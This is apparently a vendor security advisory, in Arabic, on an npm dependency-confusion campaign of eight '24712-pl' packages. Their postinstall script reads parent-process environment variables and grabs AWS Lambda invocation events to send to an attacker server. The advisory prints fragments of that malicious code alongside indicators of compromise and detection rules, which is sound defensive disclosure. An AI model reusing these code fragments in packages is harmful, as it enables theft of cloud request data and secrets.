هجوم التباس التبعيات في AWS Lambda npm: حملة 24712-pl

هجوم التباس التبعيات في AWS Lambda npm: حملة 24712-pl

TL؛ DR

بين 6 مايو و7 مايو 2026، ناشر واحد لـ npm، pelavelle، قام بدفع ثماني حزم لا تعتمد على أي شيء باستخدام أسماء تتبع نفس النمط الداخلي: 24712-pl*.

تضمنت الحزم 24712-pl3469, 24712-pl4712, 24712-pl5006, 24712-plv2و 24712-plv3يشير الرقم التمهيدي بقوة إلى هجوم التباس التبعيات في npm مقابل مساحة اسم الحزمة الداخلية أو مخطط معرف الحزمة.

تم بالفعل إلغاء نشر جميع الحزم الثمانية الشقيقة من npm بواسطة الناشر بين 2026-05-06T21:52Z و 2026-05-07T00:31Zأكدت بيانات التعريف المباشرة للسجل أن ملفات tarballs تُرجع الآن رمز HTTP 404.

ومع ذلك، لا تزال المجموعة مهمة.

العينة النموذجية، 24712-pl5006:0.0.1، يحتوي على postinstall.js البرنامج النصي الذي يتم تشغيله أثناء npm installبدلاً من سرقة متغيرات البيئة العامة، فإنه يبحث تحديدًا عن AWS_LAMBDA_RUNTIME_API، متغير البيئة المستخدم بواسطة أوقات تشغيل AWS Lambda.

إذا وجد البرنامج النصي AWS_LAMBDA_RUNTIME_API، حيث يستدعي نقطة نهاية واجهة برمجة تطبيقات وقت تشغيل Lambda:

مسار واجهة برمجة تطبيقات وقت تشغيل لامدا /2018-06-01/runtime/invocation/next

يحاول هذا الاستدعاء استهلاك حدث استدعاء Lambda المعلق التالي قبل أن يتمكن معالج Lambda الشرعي من معالجته.

ثم يتم إرسال الحدث الملتقط، بما في ذلك الرؤوس ومعرف الطلب وسياق الحساب وما يصل إلى 8 كيلوبايت من نص الطلب، إلى نقطة نهاية الاتصال بالخادم التي يتحكم بها المهاجم من خلال البرنامج النصي phoneHome() وظيفة.

صنّف نظام الإنذار المبكر بالبرمجيات الخبيثة (MEW) التابع لشركة Xygeni العينة النموذجية على أنها خبيثة على الأرجح، وحصل على درجة 0. 91.3/100.

نحن نتابع هذا الأمر باعتباره هجوم التباس التبعيات في npm مع سلوك اختطاف وقت تشغيل AWS Lambda.

المجموعة: ثماني حزم، ناشر واحد

حساب الناشر pelavelle تم استخدام عنوان البريد الإلكتروني التالي:

				
					pelavelle@clovercode.com
				
			

كان الحساب يحتوي على بريد إلكتروني غير موثق، لا SCM التحقق، ودرجة سمعة منخفضة تبلغ 5.

أصدر الناشر ثماني حزم برامج مترابطة خلال فترة قصيرة بين الساعة 20:45 و22:36 بتوقيت غرينتش في 6 مايو 2026. جميع أسماء الحزم تتبع نفس النمط:

				
					24712-pl*
				
			
 

هذا النمط هو الإشارة الرئيسية. لا يبدو كأداة تطوير عامة، بل يبدو كنمط تسمية حزم داخلي.

#فئة الإشتراكالنسخة الخبيثةتم الإنشاء، بالتوقيت العالمي المنسقغير منشور، التوقيت العالمي المنسقتم تأكيد الحمولةخطاف التثبيت
1مستكشف الكون1.1.32026-05-01T18:26Z2026-05-01T19:01Zيُستنتج أن الناشر/المجموعة هما نفس الناشرالتثبيت المسبق، على الأرجح
2signalsdk-web1.0.0 , 10.0.02026-05-04T13:57Z2026-05-04T18:51Zاستنتاجالتثبيت المسبق، على الأرجح
3ms.analytics-web99.0.0 , 99.9.132026-05-04T18:47Z2026-05-05T10:07Zاستنتاجالتثبيت المسبق، على الأرجح
4أيقونات.تم إنشاؤها99.9.132026-05-05T10:02Z2026-05-05T12:57Zاستنتاجالتثبيت المسبق، على الأرجح
5تتبع زمن الاستجابة99.9.02026-05-05T11:57Z2026-05-05T12:57Zاستنتاجالتثبيت المسبق، على الأرجح
6تتبع زمن الاستجابة الداخليتم حذف الإصدارات من سجل النظام2026-05-06T06:02Z2026-05-06T08:35Zاستنتاجالتثبيت المسبق، على الأرجح
7تطبيق كاربونايت99.9.02026-05-06T05:49Z2026-05-06T08:35Zنعم، تدفق رمز الماسح الضوئي بالكاملالتثبيت المسبق: node index.js
8الكربونات-الداخلي99.9.02026-05-06T06:14Z2026-05-06T08:36Zنعم، تدفق رمز الماسح الضوئي بالكاملالتثبيت المسبق: node index.js

إجمالي الإصدارات عبر المجموعة: 19 مجموعة من إصدارات الحزم.

العينة النموذجية، 24712-pl5006:0.0.1تم نشره في 2026-05-06T22:36:34Z وتم مسحه ضوئيًا بواسطة ميو زيجيني pipeline قبل حدث إلغاء النشر.

احتوى على أربعة ملفات، بما في ذلك package/postinstall.js، مع 3,335 بايت من المصدر الإجمالي.

الكنسي commit كانت قيمة التجزئة كالتالي:

				
					83e0efbfd110abb2398a06196fb698565a3f6cc6
				
			

لماذا يُعدّ نمط الاسم مهمًا؟

تُعد أسماء الحزم أقوى مؤشر على النية.

جميعها تبدأ بنفس البادئة:

				
					24712-pl
				
			

ثم يضيفون لواحق رقمية أو لواحق تشبه لواحق الإصدارات:

				
					24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3
				
			

هذا لا يشبه تسمية npm العامة المعتادة. يبدو أنه بادئة مساحة اسم داخلية أو مخطط معرف حزمة داخلي.

وهذا يجعل المجموعة متسقة مع هجوم التباس التبعيات في npm.

في هجوم التباس التبعيات، ينشر المهاجم حزمة عامة باسم يطابق، أو يبدو أنه يطابق، تبعية داخلية. إذا قام مدير الحزم أو بيئة البناء الخاصة بالهدف بحلّ الحزمة العامة بدلاً من الحزمة الخاصة، فسيتم تشغيل التعليمات البرمجية التي يتحكم بها المهاجم داخل بيئة الهدف.

يصف OWASP الارتباك في التبعيات بأنه ناقل هجوم يخدع مديري الحزم والوكلاء لجلب حزمة عامة ضارة بدلاً من الحزمة الداخلية المقصودة التي تحمل نفس الاسم.

للحصول على معلومات أكثر تفصيلاً حول كيفية عمل هذا النوع من الهجمات، راجع دليل Xygeni حول عدم تثبيت الإصدارات وارتباك التبعيات ومنشورنا على تحديد وإدارة هجمات التبعية البرمجية.

ما يحدث أثناء التثبيت

تُعلن الحزمة الأساسية عن postinstall صنارة صيد:

				
					{
  "scripts": {
    "postinstall": "node postinstall.js || true"
  }
}
				
			

استخدم postinstall تُعد دورة الحياة جزءًا من نظام نصوص إدارة الحزم في npm. تشرح وثائق npm أن الحزم يمكنها تعريف نصوص إدارة الحزم في package.json، بما في ذلك أحداث دورة حياة التثبيت المدمجة.

استخدم || true أنه مهم.

يتجاهل النظام الأخطاء، لذا ينجح التثبيت حتى في حال فشل عملية الاختراق. يساعد ذلك الحزمة على تجنب تعطيل عملية البناء، ويقلل من احتمالية اكتشاف المطورين أو أنظمة التكامل المستمر للسلوك الضار من خلال فشل التثبيت.

يتم تشغيل الحمولة أثناء npm installلا يتطلب الأمر استيرادًا من المطور. ولا يلزم استدعاء الحزمة من مسار التطبيق.

عملية التثبيت نفسها كافية.

سلوك الحمولة: اختطاف وقت تشغيل لامدا

استخدم postinstall.js يقوم البرنامج النصي بتنفيذ تسلسل محدد.

أولاً، يقرأ بيئة العملية الأصلية من نظام لينكس /proc:

				
					const raw = fs.readFileSync(`/proc/${pid}/environ`, 'utf8');
				
			

ثم يقوم باستخراج نقطة نهاية وقت تشغيل AWS Lambda:

				
					const match = raw.match(/AWS_LAMBDA_RUNTIME_API=([^\0]+)/);
				
			

إذا تم العثور على واجهة برمجة التطبيقات الخاصة بوقت التشغيل، يقوم البرنامج النصي بتخزينها:

				
					runtimeApi = match[1];
				
			

ثم يرسل إشارة أولى عبر phoneHome():

				
					await phoneHome({ step: 'waiting', runtimeApi, ts: ... });
				
			

يكشف هذا المنارة الأولى عن نقطة نهاية واجهة برمجة تطبيقات وقت تشغيل Lambda.

ثم يقوم البرنامج النصي بتحليل مضيف ومنفذ واجهة برمجة التطبيقات (API) الخاصة بوقت التشغيل:

				
					const [host, portStr] = runtimeApi.split(':');
				
			
 

وأخيراً، يقوم باستدعاء مسار واجهة برمجة تطبيقات وقت تشغيل AWS Lambda المستخدم لاسترداد الاستدعاء التالي:

				
					http.request({
  host,
  port,
  path: '/2018-06-01/runtime/invocation/next',
  method: 'GET',
  timeout: 90000
}, ...);
				
			

هذا هو جوهر الهجوم.

يحاول البرنامج النصي استهلاك حدث استدعاء Lambda التالي قبل أن يتمكن معالج Lambda الشرعي من معالجته. كما يصف دليل وقت التشغيل المخصص من AWS خطوة "الحصول على حدث" على أنها استدعاء لواجهة برمجة تطبيقات الاستدعاء التالي.

ما الذي يتم تسريبه

إذا التقط البرنامج النصي استدعاءً، فإنه يرسل النتيجة إلى نقطة نهاية الاتصال بالخادم التي يتحكم بها المهاجم.

تشمل المناطق التي تم تهريبها ما يلي:

الحقلمعنى
stepمرحلة التنفيذ، مثل waiting, next_error أو captured
runtimeApiنقطة نهاية واجهة برمجة تطبيقات وقت تشغيل Lambda
accountSidسياق حساب AWS الذي تم التقاطه
requestIdمعرّف طلب استدعاء لامدا
isOwnAccountمقارنة منطقية مع قيمة الحساب المُكوّنة في البرنامج النصي
statusCodeحالة استجابة واجهة برمجة التطبيقات في وقت التشغيل
headersرؤوس استجابة الاستدعاء
bodyنص الاستدعاء الملتقط، مقسم إلى 8,000 حرف

المكالمة الرئيسية لعملية التهريب هي phoneHome(data) دالة تقوم بتشفير البيانات باستخدام JSON وإرسالها عبر طلب HTTP POST.

لم يتم حفظ عنوان URL الخاص بالوجهة النهائية للاتصال بالخادم في الأدلة المختصرة المتاحة. لذا، ينبغي على npm الاحتفاظ بملف tarball غير المنشور داخليًا حتى يمكن استخراج عنوان المضيف C2 قبل إتمام عملية الحذف.

لماذا هذا خطير؟

هذا ليس منارة npm عامة.

تم تصميم الحمولة حول AWS Lambda نموذج التنفيذ.

إذا تم تثبيت حزمة ضعيفة داخل بيئة تنفيذ Lambda، كما هو الحال أثناء إنشاء صورة نشر، أو تثبيت طبقة Lambda، أو عملية تغليف التهيئة، فقد تكشف البيئة عن ثغرة أمنية. AWS_LAMBDA_RUNTIME_API.

بمجرد أن يحصل البرنامج النصي على تلك القيمة، يمكنه استدعاء ما يلي:

				
					/2018-06-01/runtime/invocation/next
				
			

تقوم نقطة النهاية هذه بإرجاع حدث الاستدعاء المعلق التالي.

ونتيجة لذلك، قد يتمكن المهاجم من الاستيلاء على:

  • الجهات الطالبة
  • رؤوس
  • معرفات الطلبات
  • سياق حساب AWS
  • بيانات الطلب الموقعة
  • معلومات تحديد الهوية الشخصية للعميل
  • بيانات أحداث S3
  • حمولات خاصة بالتطبيق
  • سياق الخدمة الداخلية

قد لا يرى المعالج الشرعي الحدث المستهلك أبدًا.

هذا يحول برنامج تثبيت npm إلى أداة اعتراض أحداث Lambda.

حتى لو لم يتم استخدام الحزمة في بيئة Lambda حقيقية، فقد يظل سلوكها يُسرب معلومات مفيدة من أنظمة التطوير أو التكامل المستمر. قراءة /proc/<pid>/environ قد يؤدي ذلك إلى كشف متغيرات البيئة الموجودة في العمليات الأصلية، والتي يمكن أن تشمل مفاتيح AWS أو عناوين URL لقواعد البيانات أو رموز CI أو بيانات اعتماد النشر.

لهذا السبب، لا يمكن أن يقتصر فحص التبعيات على الثغرات الأمنية المعروفة (CVEs). تحتاج الفرق أيضًا إلى اكتشاف الحزم الخبيثة، وتحليل نصوص التثبيت، وتطبيق سياسات التسجيل. للاطلاع على إرشادات ذات صلة، اقرأ لماذا يعد فحص التبعيات أمرًا مهمًا لفرق DevOps و الحماية من البرامج الضارة: لماذا لا تستطيع برامج مكافحة الفيروسات إيقاف هجمات سلسلة التوريد.

تصنيف Xygeni MEW

قام جهاز Xygeni MEW بمسح العينة النموذجية 24712-pl5006:0.0.1 قبل حدث إلغاء النشر.

أظهر الماسح الضوئي ما يلي:

				
					91.3 / 100
probablyMalicious
threshold: 80
				
			

تضمنت الأدلة ثلاثة عناصر حرجة وعنصر واحد عالي الأهمية يؤكد اختطاف تدفق البيانات أثناء تشغيل Lambda.

خطورةدليلمعنى
حرج/proc/<pid>/environ اقرأيقرأ بيئة العملية الأصلية
حرجAWS_LAMBDA_RUNTIME_API استخلاصنقطة نهاية وقت تشغيل Lambda المستهدفة
حرج/runtime/invocation/next طلبمحاولات استهلاك حدث استدعاء Lambda حقيقي
مرتفعpostinstall سيناريويتم تشغيله أثناء تثبيت npm

يتميز هذا السلوك بتخصصه الشديد وتأثيره الكبير. ولا تحتاج الحزمة إلى خصائص برمجية خبيثة واسعة النطاق لأن نقطة نهاية وقت تشغيل Lambda تُعد هدفًا قويًا بالفعل.

صُممت أداة Xygeni MEW خصيصًا لهذا النوع من الحالات: الكشف عن سلوك الحزم المشبوه والخبيث قبل أن يتحول إلى حادثة لاحقة. للاطلاع على نظرة أشمل لأنماط التهديدات الحالية في npm وPyPI، انظر نظرة عن كثب على هجمات سلسلة توريد البرمجيات 2025.

لماذا يُعدّ نمط إلغاء النشر الذاتي مهماً؟

قام الناشر بإلغاء نشر جميع الحزم الثمانية خلال فترة زمنية قصيرة.

هذا السلوك مثير للريبة في هذا السياق.

ظهرت المجموعة، وعملت إذا تم اختيارها عبر مسار حل التبعيات المعرض للخطر، ثم اختفت. يتوافق هذا مع قيام المهاجم بتنظيف النظام بعد نجاح أو فشل إثبات المفهوم، أو بعد أن لاحظت المؤسسة المستهدفة المشكلة.

يؤدي إلغاء النشر إلى فجوة في الرؤية بالنسبة للمدافعين.

قد لا تتضمن بيانات npm العامة ملفات tar. بعض إصدارات الحزم غير قابلة لإعادة التنزيل. مع ذلك، قد لا تزال البيئات المتأثرة تحتوي على نسخ مخزنة مؤقتًا، أو مراجع لملفات القفل، أو سجلات التكامل المستمر، أو مخلفات مدير الحزم.

ولهذا السبب يُعدّ الحفاظ على البيانات من جانب السجل أمرًا بالغ الأهمية.

ينبغي لـ npm الاحتفاظ بملفات tarballs غير المنشورة داخليًا لفترة كافية لاستخراج عنوان URL الخاص بالهاتف المنزلي بالضبط، والتأكد من هوية الحمولة الشقيقة، ودعم الاستجابة للحوادث.

مؤشرات الاختراق والكشف

الناشر والحساب

الحقلبعد التخفيض
اسم مستخدم npmpelavelle
البريد الإلكتروني للناشر في npmpelavelle@clovercode.com
تم التحقق من البريد الإلكترونيلا
SCM التحققلا
تقييم سمعة الناشر5
نمط تسمية الحزم^24712-pl[0-9a-z]+$
بادئة مساحة الاسم الداخلية24712-pl

أسماء الحزم المتأثرة

				
					24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3
				
			

عينة أساسية

 
الحقلبعد التخفيض
فئة الإشتراك24712-pl5006
التجريبية0.0.1
تم النشر2026-05-06T22:36:34Z
Commit مزيج83e0efbfd110abb2398a06196fb698565a3f6cc6
معرف UUID لفحص Xygenif80e4244-86d2-4a58-be59-7c56988a0f9f
العلامة91.3 / 100
حكمprobablyMalicious

خطاف التثبيت

				
					{
  "scripts": {
    "postinstall": "node postinstall.js || true"
  }
}
				
			

مؤشرات وقت تشغيل لامدا

حقول الحمولة المسربة

				
					step
runtimeApi
accountSid
requestId
isOwnAccount
statusCode
headers
body
				
			

تم تقسيم النص إلى 8,000 حرف.

ملاحظات الكشف

يمكن لعدة قواعد أن تكشف هذا. هجوم التباس التبعيات في npm والمتغيرات المحتملة.

أولاً، قم بتحديد نصوص تثبيت npm التي تقرأ بيئة العملية الأصلية من /proc:

				
					/proc/<pid>/environ
				
			

نادراً ما يكون هذا سلوكاً مشروعاً بالنسبة لتبعية npm أثناء التثبيت.

ثانيًا، قم بالتنبيه بشأن نصوص تثبيت الحزم التي تشير إلى:

				
					AWS_LAMBDA_RUNTIME_API
				
			

يجب عدم الوصول إلى متغير البيئة هذا بواسطة حزم npm التابعة لجهات خارجية أثناء التثبيت.

ثالثًا، قم بحظر أو مراجعة برامج التثبيت التي تستدعي ما يلي:

				
					/2018-06-01/runtime/invocation/next
				
			

هذه هي نقطة نهاية واجهة برمجة تطبيقات وقت تشغيل AWS Lambda لاستقبال الاستدعاء التالي. لا يوجد سبب مشروع لاستخدامها في برنامج تثبيت التبعيات.

رابعاً، ابحث عن مراجع ملفات القفل لأسماء الحزم المتأثرة:

				
					package-lock.json
yarn.lock
pnpm-lock.yaml
npm-shrinkwrap.json
				
			

أي تطابق يستدعي مراجعة الارتباك في التبعية.

خامساً، تنبيه بشأن التعبير النمطي لاسم الحزمة:

				
					^24712-pl[0-9a-z]+$
				
			

وخاصة عندما يكون الناشر عامًا، أو ذو سمعة سيئة، أو غير موثق، أو خارج السجل الداخلي المتوقع.

وأخيرا، أضف CI/CD guardrails حول نصوص التثبيت. هذا الأمر بالغ الأهمية لأن نصوص دورة حياة npm يمكن تنفيذها أثناء تثبيت الحزمة، قبل أن يقوم المطورون باستيراد أي شيء. للمزيد من المعلومات حول CI/CD أنماط الكشف، انظر إلى Xygeni أهم 10 مؤشرات للاختراق في CI/CD Pipelines و الأمن والحماية Guardrails لـ CI/CD Pipelines.

إجراءات التسجيل المقترحة

كانت هذه المجموعة غير منشورة بالفعل وقت إعداد التقرير، لكن إلغاء النشر لا يزيل المخاطر.

الإجراءات الموصى بها من جانب npm:

  • تأكد مما إذا كانت عمليات إلغاء النشر ناتجة عن عملية تنظيف بدأها المهاجم أم عن إجراء مشروع من جانب القائمين على الصيانة.
  • تعليق أو حظر حساب الناشر pelavelle.
  • إضافة pelavelle@clovercode.com، وأسماء الحزم، والتعبير النمطي لأسماء الحزم لمنع إساءة استخدام npm وقوائم حظر سلسلة التوريد.
  • احتفظ بملفات tarball غير المنشورة في وحدة تخزين داخلية لأغراض التحليل الجنائي الرقمي.
  • استخرج بدقة phoneHome() عنوان URL الوجهة من ملفات tar المحفوظة.
  • تأكد مما إذا كانت جميع الحزم الشقيقة تشترك في نفس الحمولة.
  • قم بإخطار المؤسسات المتضررة إذا أشارت بيانات تنزيل الحزمة أو تثبيتها إلى وجود تعرض للخطر.

قائمة التحقق من الاستجابة للتسوية

إذا ظهرت أي حزمة متأثرة في ملفات القفل، أو سجلات التكامل المستمر، أو ذاكرة التخزين المؤقت للحزم، أو طبقات Lambda، أو صور النشر، أو عناصر البناء، فتعامل معها على أنها حدث تنفيذ محتمل ناتج عن ارتباك التبعية.

الرد الموصى به:

  • حدد مكان تثبيت الحزمة: محطة العمل المحلية، أو مشغل التكامل المستمر، أو بناء طبقة Lambda، أو صورة النشر، أو بيئة التشغيل.
  • احتفظ بملفات القفل، وذاكرة التخزين المؤقت لـ npm، وسجلات البناء، وعناصر النشر، وطبقات صور الحاويات.
  • تحقق مما إذا كان التثبيت قد تم داخل بيئة حيث AWS_LAMBDA_RUNTIME_API تم تعيين.
  • راجع سجلات HTTP الصادرة بحثًا عن أي شيء غير معروف phoneHome() الوجهات أثناء فترة التثبيت.
  • قم بمراجعة سجلات استدعاء Lambda بحثًا عن الأحداث المفقودة أو غير الطبيعية أو التي تم إسقاطها.
  • قم بتدوير الأسرار المكشوفة لبيئة التثبيت، وخاصة مفاتيح AWS ورموز CI وبيانات اعتماد النشر وعناوين URL لقواعد البيانات.
  • راجع طبقات Lambda وصور النشر بحثًا عن نسخ مخزنة مؤقتًا من الحزمة.
  • فرض تثبيت السجل الخاص لبادئات الحزم الداخلية.
  • حظر استخدام أسماء الحزم ذات المظهر الداخلي في نظام npm العام.
  • إضافة guardrails لـ preinstall, installو postinstall مخطوطات.

كيف يساعد جهاز Xygeni في الكشف عن ذلك مبكراً

هذه الحملة هي بالضبط نوع الحالة التي تحتاج فيها فرق الأمن إلى أكثر من مجرد فحص الثغرات الأمنية التقليدي.

قد لا يكون هناك CVEقد لا توجد نسخة معروفة معرضة للثغرات. وقد لا توجد حزمة طويلة الأمد يمكن فحصها بعد أن يقوم الناشر بتنظيفها.

بدلاً من ذلك، تحتاج الفرق إلى رؤية فورية لسلوك الحزم.

يساعد جهاز زيجيني من خلال الجمع بين:

  • الكشف المبكر عن البرامج الضارة عبر السجلات العامة.
  • الكشف عن التبعيات المشبوهة لتجنب الخلط بين التبعيات والاحتيال الإملائي.
  • تحليل برنامج التثبيت لـ preinstall, installو postinstall السلوكيات.
  • CI/CD guardrails لحظر الحزم الخطرة قبل وصولها إلى بيئات البناء أو النشر.
  • رؤية سلسلة توريد البرمجيات عبر مختلف التبعيات، pipelineوالتحف.
  • تطبيق السياسات المتعلقة بأسماء الحزم الداخلية والحزم العامة غير الموثوقة.

هذا الأمر مهم لأن تأثير هجوم التباس التبعيات في npm لا يقتصر الأمر على أجهزة الكمبيوتر المحمولة الخاصة بالمطورين. بل يمكنه الوصول إلى مشغلات التكامل المستمر، وصور البناء، وطبقات Lambda، وحاويات النشر، والبيئات المجاورة لوقت التشغيل.

للاطلاع على سياق أوسع لأمن التطبيقات وسلسلة التوريد، انظر تصميم المستقبل SCA:تأمين سلسلة توريد البرمجيات الخاصة بك و Software Supply Chain Security أتمتة.

ما يجب على المدافعين استخلاصه

تُظهر هذه الحملة كيف يمكن أن يتجاوز الارتباك المتعلق بالتبعية مجرد إشارات إثبات التنفيذ الأساسية.

لا يقتصر دور الحمولة على تأكيد ذلك فحسب. npm install تم تشغيله. يحاول التفاعل مع واجهة برمجة تطبيقات وقت تشغيل AWS Lambda والتقاط حدث استدعاء حقيقي.

هذا تصعيد ذو مغزى.

بالنسبة للفرق التي تستخدم الحوسبة السحابية بدون خوادم، يُعدّ حلّ التبعيات جزءًا من نموذج التهديدات أثناء التشغيل. قد تُصبح حزمة npm عامة تحمل اسمًا داخليًا ثغرةً للوصول إلى سياق تنفيذ وظائف Lambda، وبيانات الطلبات، وبيانات تعريف حسابات السحابة.

الدرس الأساسي واضح: يجب حماية بادئات الحزم الداخلية، وتحديد نطاقها، وتثبيتها في سجلات موثوقة. يجب التعامل مع نصوص التثبيت كسطح هجوم قابل للتنفيذ، خاصة في CI/CD، وبناء الحاويات، وطبقات لامدا، والنشر pipelines.

CISتؤكد إرشادات سلسلة توريد البرمجيات الخاصة بشركة A على ضرورة حماية البرمجيات، وتطبيق فحوصات الأمان، والاستجابة للثغرات الأمنية بشكل مستمر طوال عملية التطوير. في هذه الحالة، يعني ذلك التعامل مع حل الحزم، ونصوص الحزم، وبيئات البناء بدون خوادم كضوابط أمان أساسية.

تم الإبلاغ إلى npm بشأن تطبيق القوانين على مستوى الحساب، وقوائم الحظر، وحفظ ملفات tarball غير المنشورة.

أدوات تحليل التركيبات البرمجية sca
إعطاء الأولوية للمخاطر التي تتعرض لها برامجك، ومعالجتها، وتأمينها
احصل على حسابك المجاني.
أي بطاقة ائتمان.

احمِ عملية تطوير وتسليم برامجك

مع مجموعة منتجات Xygeni